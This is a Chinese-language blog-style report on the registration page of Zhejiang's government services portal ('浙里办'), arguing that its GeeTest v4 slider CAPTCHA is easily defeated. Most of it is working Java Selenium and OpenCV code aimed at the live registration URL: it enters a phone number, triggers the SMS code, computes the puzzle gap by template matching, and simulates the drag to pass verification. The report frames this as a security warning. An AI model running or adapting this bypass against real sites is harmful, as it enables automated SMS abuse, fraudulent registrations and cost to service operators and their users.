【浙江政务服务网-注册_登录安全分析报告】

前言
由于网站注册入口容易被黑客攻击，存在如下安全问题：

1. 暴力破解密码，造成用户信息泄露
2. 短信盗刷的安全问题，影响业务及导致用户投诉
3. 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
   

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析

一、 浙江政务服务网 PC端注册入口

简介：
自2014年以来，浙江持续推进省一体化在线政务服务平台（“浙里办”）建设，率先形成全省统一、五级（省市县乡村）联动的"互联网+政务服务"体系。近年来，浙江充分依托全国一体化在线政务服务平台，以数字化改革为总抓手，持续迭代升级"浙里办"，全力打造面向群众企业办事的总入口，助力全面建成"掌上办事之省"。
截至2023年6月，作为群众企业服务的总入口，“浙里办”实名注册用户突破1亿，汇聚3638项依申请政务服务事项 、2000余个便民惠企服务、“企业开办”等40件多部门联办“一件事”，从民生小事到家企大事，实现网上一站办、大厅就近办、基层帮你办、全省统一办，让政务服务更加泛在可及、普惠公平，助力高质量发展建设共同富裕示范区。

二、 安全性分析报告：

采用极验的V4版本，容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上。

三、 测试方法：

前端界面分析，版本号为4.0，这就好办了， 网上有大量现成的逆向文章及视频参考，不过我们这次不用逆向， 只是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分
极验4代滑块验证码破解（补环境直接强暴式拿下）
https://blog.csdn.net/qq_41866988/article/details/132020587

1. 模拟器交互部分

private final String INDEX_URL = "https://user.zjzwfw.gov.cn/pc/register?servicecode=jhssjkfpt&action=register";private GeetClient geetClient = new GeetClient(this.getClass().getSimpleName());@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {try {RetEntity retEntity = new RetEntity();driver.get(INDEX_URL);// 输入手机号WebElement phoneElement = driver.findElement(By.xpath("//input[@placeholder='请输入手机号']"));phoneElement.sendKeys(phone);Thread.sleep(1000);// 点击发送验证码按钮WebElement sendElemet = driver.findElement(By.xpath("//span[contains(text(),'发送验证码')]"));if (sendElemet != null)((JavascriptExecutor) driver).executeScript("arguments[0].click();", sendElemet);WebElement gtElement = ChromeUtil.waitElement(driver, By.xpath("//div/span[contains(text(),'重新发送')]"), 20);boolean isSend = (gtElement != null);if (!isSend) {geetClient.moveV4(driver);Thread.sleep(500);gtElement = ChromeUtil.waitElement(driver, By.xpath("//div/span[contains(text(),'重新发送')]"), 20);}			String gtInfo = (gtElement != null) ? gtElement.getText() : null;retEntity.setMsg(gtInfo);if (gtInfo != null && gtInfo.contains("重新发送")) {retEntity.setRet(0);}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;} finally {driver.manage().deleteAllCookies();}}

2. 距离识别

/*** Open Cv 图片模板匹配* * @param tpPath*            模板图片路径* @param bgPath*            目标图片路径* @return { width, maxX }*/public Map<String, Double> getWidth(String tpPath, String bgPath, String resultFile) {try {Map<String, Integer> hlMap = new HashMap<String, Integer>();Rect rectCrop = clearWhite(tpPath, hlMap);Mat g_tem = Imgcodecs.imread(tpPath);Mat clearMat = g_tem.submat(rectCrop);Mat cvt = new Mat();Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);Mat edgesSlide = new Mat();Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);Mat cvtSlide = new Mat();Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);Imgcodecs.imwrite(tpPath, cvtSlide);Mat bgOrign = Imgcodecs.imread(bgPath);// 当滑块的高度和背景图高度一致才做截取boolean isSub = (bgOrign.rows() == hlMap.get("rows"));Mat bgMat = bgOrign;if (isSub) {int minY = hlMap.get("minY");int maxY = hlMap.get("maxY");int rowStart = minY >= 2 ? minY - 2 : minY;int rowEnd = bgOrign.rows() - maxY >= 2 ? maxY + 2 : maxY;bgMat = bgOrign.submat(rowStart, rowEnd, 0, bgOrign.cols());}Mat edgesBg = new Mat();Imgproc.Canny(bgMat, edgesBg, threshold1, threshold2);Mat cvtBg = new Mat();Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法// 归一化相关匹配法MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);Point maxLoc = minMaxLoc.maxLoc;Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);Imgcodecs.imwrite(resultFile, cvtBg);Map<String, Double> paramMap = new HashMap<String, Double>();paramMap.put("tpWidth", g_tem.cols() * 1.0);paramMap.put("bigWidth", cvtBg.cols() * 1.0);paramMap.put("width", cvtSlide.cols() * 1.0);paramMap.put("minX", maxLoc.x);paramMap.put("maxX", maxLoc.x + cvtSlide.cols());System.out.println("OpenCv2.getWidth() " + paramMap.toString());return paramMap;} catch (Throwable e) {System.out.println("getWidth() " + e.toString());logger.error("getWidth() " + e.toString());for (StackTraceElement elment : e.getStackTrace()) {logger.error(elment.toString());}return null;}}public Rect clearWhite(String smallPath, Map<String, Integer> hlMap) {try {Mat matrix = Imgcodecs.imread(smallPath);int rows = matrix.rows();// height -> yint cols = matrix.cols();// width -> xhlMap.put("rows", rows);hlMap.put("cols", cols);Double rgb;double[] arr;int minX = 255;int minY = 255;int maxX = 0;int maxY = 0;Color c;for (int x = 0; x < cols; x++) {for (int y = 0; y < rows; y++) {arr = matrix.get(y, x);rgb = 0.00;for (int i = 0; i < 3; i++) {rgb += arr[i];}c = new Color(rgb.intValue());int b = c.getBlue();int r = c.getRed();int g = c.getGreen();int sum = r + g + b;if (sum >= 5) {if (x <= minX)minX = x;else if (x >= maxX)maxX = x;if (y <= minY)minY = y;else if (y >= maxY)maxY = y;}}}int boder = 1;if (boder > 0) {minX = (minX > boder) ? minX - boder : 0;maxX = (maxX + boder < cols) ? maxX + boder : cols;minY = (minY > boder) ? minY - boder : 0;maxY = (maxY + boder < rows) ? maxY + boder : rows;}int width = (maxX - minX);int height = (maxY - minY);hlMap.put("minY", minY);hlMap.put("maxY", maxY);System.out.println("openCv2.clearWhite() [" + rows + ", " + cols + "],minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);Rect rectCrop = new Rect(minX, minY, width, height);return rectCrop;} catch (Throwable e) {StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");for (StackTraceElement elment : e.getStackTrace()) {er.append(elment.toString() + "\n");}logger.error(er.toString());System.out.println(er.toString());return null;}}

3. 轨道生成及移动算法

/*** class='geetest_bg_a30707f4 geetest_bg'* * @param driver* @param offSet* @return*/public boolean moveV4(WebDriver driver, Integer startX, Integer startY) {File bigFile = null, smllFile = null;try {long t = System.currentTimeMillis();String path = dataPath + "/" + spCode + "/";WebElement tipsElement = driver.findElement(By.className("geetest_text_tips"));String tips = (tipsElement != null) ? tipsElement.getText() : null;System.out.println("tips=" + tips);// 获取背景图List<WebElement> urlElements = driver.findElements(By.xpath("//div[contains(@style,'background-image')]"));int index = (urlElements.size() >= 4) ? 2 : 0;// 小图smllFile = new File(path + t + "_small.png");byte[] smallBytes = getImgByBackGround(urlElements.get(index), smllFile);File tpFile = new File(path + t + "_t.png");FileUtils.writeByteArrayToFile(tpFile, smallBytes);// 大图bigFile = new File(path + t + "_bg.png");byte[] bigBytes = getImgByBackGround(urlElements.get(index + 1), bigFile);String ckSum = GenChecksumUtil.genChecksum(bigBytes);String resultFile = path + t + "_o.png";// 计算距离Map<String, Double> outMap = cv2.getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);if (outMap == null || outMap.size() < 2) {System.out.println("getMoveDistance() ,outMap=" + outMap);return false;}// 计算匹配到的位置Double tpWidth = outMap.get("tpWidth");Double width = outMap.get("width");Double leftD = (tpWidth - width) / 2.0;BigDecimal openDistanceD = new BigDecimal(outMap.get("minX") - leftD).setScale(0, BigDecimal.ROUND_HALF_UP);int distance = openDistanceD.intValue();if (distance <= 0) {System.out.println("getMoveDistance() ,outMap=" + outMap + "->" + distance);return false;}System.out.println(tpWidth + "-" + width + "->leftD=" + leftD + ",distance=" + distance);if (startX != null && startY != null) {RobotMove.move(startX, startY, distance);} else {By sliedBy = By.xpath("//div[contains(@class,'geetest_btn')]");List<WebElement> sliedElements = driver.findElements(sliedBy);System.out.println("size=" + sliedElements.size());boolean displayed;for (WebElement web : sliedElements) {displayed = web.isDisplayed();System.out.println("displayed=" + displayed + "->" + web.getAttribute("class"));if (displayed) {ActionMove.move(driver, web, distance);break;}}}// 滑动结果WebElement infoElement = ChromeDriverManager.getInstance().waitForLoad(By.className("geetest_result_tips"), 1);String gtInfo = (infoElement != null) ? infoElement.getAttribute("innerText") : null;if (gtInfo != null) {System.out.println("gtInfo=" + gtInfo);if (gtInfo.contains("速度超过") || gtInfo.contains("通过验证")) {return true;}}return false;} catch (Exception e) {logger.error(e.toString());return false;}}private byte[] getImgByBackGround(WebElement urlElement, File bFile) throws Exception {String cssValue = (urlElement != null) ? urlElement.getCssValue("background-image") : null;String bgUrl = (cssValue != null && cssValue.contains("\"")) ? cssValue.split("\"")[1] : null;if (bgUrl == null || !bgUrl.startsWith("http")) {System.out.println("bgUrl=" + bgUrl);return null;}FileUtils.copyURLToFile(new URL(bgUrl), bFile);byte[] bigBytes = FileUtils.readFileToByteArray(bFile);return bigBytes;}

4. OpenCv 轮廓匹配测试样例：
   

四丶结语

自2014年以来，浙江持续推进省一体化在线政务服务平台（“浙里办”）建设，率先形成全省统一、五级（省市县乡村）联动的"互联网+政务服务"体系。近年来，浙江充分依托全国一体化在线政务服务平台，以数字化改革为总抓手，持续迭代升级"浙里办"，全力打造面向群众企业办事的总入口，助力全面建成"掌上办事之省"。
。作为浙江省的政务服务平台，应该重点关注安全，并且拥有强大的技术资源， 采用的却是通俗的滑动验证产品， 该产品稳定并且市场占有率很高， 在一定程度上提高了用户体验， 但安全性在机器学习的今天， 已经无法应对攻击了，并且正是由于该产品通俗， 所以在网上破解的文章和教学视频也是大量存在，并且经过验证滑动产品很容易被破解， 所以除了滑动验证方式， 花样百出的产品层出不穷，但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。

有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。

所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#

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谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？

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